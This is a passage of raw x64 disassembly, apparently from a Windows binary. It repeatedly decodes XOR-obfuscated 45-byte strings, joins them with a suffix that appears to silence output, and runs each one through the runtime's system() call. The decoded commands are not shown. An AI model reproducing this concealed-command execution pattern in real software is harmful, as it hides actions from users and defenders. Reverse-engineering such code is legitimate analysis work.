movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e830
cmp r8d, 0x2d
jge 0x14003e963
movsxd rax, r8d
lea r9, [rbp + 0x1110]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e930
mov r8, r10
lea rdx, [rbp + 0x1110]
lea rcx, [rbp + 0x2ce0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2cc0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2ca0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2c80]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c80]
call fcn.140058900
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2d00]
call fcn.140058900
nop
lea rcx, [rbp + 0x2d20]
call fcn.140058900
lea rcx, [rbp + 0x1b40]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1b20]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400def08]
movups xmmword [rbp + 0x10e0], xmm0
movups xmm1, xmmword [0x1400def18]
movups xmmword [rbp + 0x10f0], xmm1
movsd xmm0, qword [0x1400def28]
movsd qword [rbp + 0x1100], xmm0
mov ecx, dword [0x1400def30]
mov dword [rbp + 0x1108], ecx
movzx eax, byte [0x1400def34]
mov byte [rbp + 0x110c], al
mov r8d, edi
cmp esi, 2
jl 0x14003eb93
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x10e4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003eaa0
cmp r8d, 0x2d
jge 0x14003ebd3
movsxd rax, r8d
lea r9, [rbp + 0x10e0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003eba0
mov r8, r10
lea rdx, [rbp + 0x10e0]
lea rcx, [rbp + 0x1b00]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1ae0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1ac0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1aa0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ac0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ae0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1b00]
call fcn.140058900
nop
lea rcx, [rbp + 0x1b20]
call fcn.140058900
nop
lea rcx, [rbp + 0x1b40]
call fcn.140058900
lea rcx, [rbp + 0x1c00]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1be0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400de588]
movups xmmword [rbp + 0x10b0], xmm0
movups xmm1, xmmword [0x1400de598]
movups xmmword [rbp + 0x10c0], xmm1
movsd xmm0, qword [0x1400de5a8]
movsd qword [rbp + 0x10d0], xmm0
mov ecx, dword [str.A.YDe]
mov dword [rbp + 0x10d8], ecx
movzx eax, byte [0x1400de5b4]
mov byte [rbp + 0x10dc], al
mov r8d, edi
cmp esi, 2
jl 0x14003ee03
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x10b4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003ed10
cmp r8d, 0x2d
jge 0x14003ee43
movsxd rax, r8d
lea r9, [rbp + 0x10b0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003ee10
mov r8, r10
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x1bc0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1ba0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b80]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1b60]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1b60]
call fcn.140058900
nop
lea rcx, [rbp + 0x1b80]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ba0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1bc0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1be0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1c00]
call fcn.140058900
lea rcx, [rbp + 0x1cc0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1ca0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df550]
movups xmmword [rbp + 0x1080], xmm0
movups xmm1, xmmword [0x1400df560]
movups xmmword [rbp + 0x1090], xmm1
movsd xmm0, qword [0x1400df570]
movsd qword [rbp + 0x10a0], xmm0
mov ecx, dword [0x1400df578]
mov dword [rbp + 0x10a8], ecx
movzx eax, byte [0x1400df57c]
mov byte [rbp + 0x10ac], al
mov r8d, edi
cmp esi, 2
jl 0x14003f073
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1084]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003ef80
cmp r8d, 0x2d
jge 0x14003f0b3
movsxd rax, r8d
lea r9, [rbp + 0x1080]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f080
mov r8, r10
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x1c80]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1c60]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c40]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1c20]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1c20]
call fcn.140058900
nop
lea rcx, [rbp + 0x1c40]
call fcn.140058900
nop
lea rcx, [rbp + 0x1c60]
call fcn.140058900
nop
lea rcx, [rbp + 0x1c80]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ca0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1cc0]
call fcn.140058900
lea rcx, [rbp + 0x1d80]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1d60]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dfbd0]
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x1400dfbe0]
movups xmmword [rbp + 0xd00], xmm1
movsd xmm0, qword [0x1400dfbf0]
movsd qword [rbp + 0xd10], xmm0
mov ecx, dword [0x1400dfbf8]
mov dword [rbp + 0xd18], ecx
movzx eax, byte [0x1400dfbfc]
mov byte [rbp + 0xd1c], al
mov r8d, edi
cmp esi, 2
jl 0x14003f2e3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xcf4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f1f0
cmp r8d, 0x2d
jge 0x14003f323
movsxd rax, r8d
lea r9, [rbp + 0xcf0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f2f0
mov r8, r10
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0x1d40]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1d20]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1d00]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1ce0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1ce0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1d00]
call fcn.140058900
nop
lea rcx, [rbp + 0x1d20]
call fcn.140058900
nop
lea rcx, [rbp + 0x1d40]
call fcn.140058900
nop
lea rcx, [rbp + 0x1d60]
call fcn.140058900
nop
lea rcx, [rbp + 0x1d80]
call fcn.140058900
lea rcx, [rbp + 0x1e40]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1e20]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df9a8]
movups xmmword [rbp + 0xf60], xmm0
movups xmm1, xmmword [0x1400df9b8]
movups xmmword [rbp + 0xf70], xmm1
movsd xmm0, qword [0x1400df9c8]
movsd qword [rbp + 0xf80], xmm0
mov ecx, dword [0x1400df9d0]
mov dword [rbp + 0xf88], ecx
movzx eax, byte [0x1400df9d4]
mov byte [rbp + 0xf8c], al
mov r8d, edi
cmp esi, 2
jl 0x14003f553
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf64]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f460
cmp r8d, 0x2d
jge 0x14003f593
movsxd rax, r8d
lea r9, [rbp + 0xf60]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f560
mov r8, r10
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1e00]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1de0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1dc0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1da0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1da0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1dc0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1de0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1e00]
call fcn.140058900
nop
lea rcx, [rbp + 0x1e20]
call fcn.140058900
nop
lea rcx, [rbp + 0x1e40]
call fcn.140058900
lea rcx, [rbp + 0x1f00]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1ee0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dde88]
movups xmmword [rbp + 0xfc0], xmm0
movups xmm1, xmmword [0x1400dde98]
movups xmmword [rbp + 0xfd0], xmm1
movsd xmm0, qword [0x1400ddea8]
movsd qword [rbp + 0xfe0], xmm0
mov ecx, dword [str.A2YDe]
mov dword [rbp + 0xfe8], ecx
movzx eax, byte [0x1400ddeb4]
mov byte [rbp + 0xfec], al
mov r8d, edi
cmp esi, 2
jl 0x14003f7c3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xfc4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f6d0
cmp r8d, 0x2d
jge 0x14003f803
movsxd rax, r8d
lea r9, [rbp + 0xfc0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f7d0
mov r8, r10
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1ec0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1ea0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1e80]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1e60]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1e60]
call fcn.140058900
nop
lea rcx, [rbp + 0x1e80]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ea0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1ee0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1f00]
call fcn.140058900
lea rcx, [rbp + 0x1fc0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x1fa0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dec98]
movups xmmword [rbp + 0xf00], xmm0
movups xmm1, xmmword [0x1400deca8]
movups xmmword [rbp + 0xf10], xmm1
movsd xmm0, qword [0x1400decb8]
movsd qword [rbp + 0xf20], xmm0
mov ecx, dword [str.A3YDe]
mov dword [rbp + 0xf28], ecx
movzx eax, byte [0x1400decc4]
mov byte [rbp + 0xf2c], al
mov r8d, edi
cmp esi, 2
jl 0x14003fa33
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf04]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f940
cmp r8d, 0x2d
jge 0x14003fa73
movsxd rax, r8d
lea r9, [rbp + 0xf00]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003fa40
mov r8, r10
lea rdx, [rbp + 0xf00]
lea rcx, [rbp + 0x1f80]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x1f60]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1f40]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1f20]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1f20]
call fcn.140058900
nop
lea rcx, [rbp + 0x1f40]
call fcn.140058900
nop
lea rcx, [rbp + 0x1f60]
call fcn.140058900
nop
lea rcx, [rbp + 0x1f80]
call fcn.140058900
nop
lea rcx, [rbp + 0x1fa0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1fc0]
call fcn.140058900
lea rcx, [rbp + 0x2080]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2060]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400ded78]
movups xmmword [rbp + 0xed0], xmm0
movups xmm1, xmmword [0x1400ded88]
movups xmmword [rbp + 0xee0], xmm1
movsd xmm0, qword [0x1400ded98]
movsd qword [rbp + 0xef0], xmm0
mov ecx, dword [str.A0YDe]
mov dword [rbp + 0xef8], ecx
movzx eax, byte [0x1400deda4]
mov byte [rbp + 0xefc], al
mov r8d, edi
cmp esi, 2
jl 0x14003fca3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xed4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
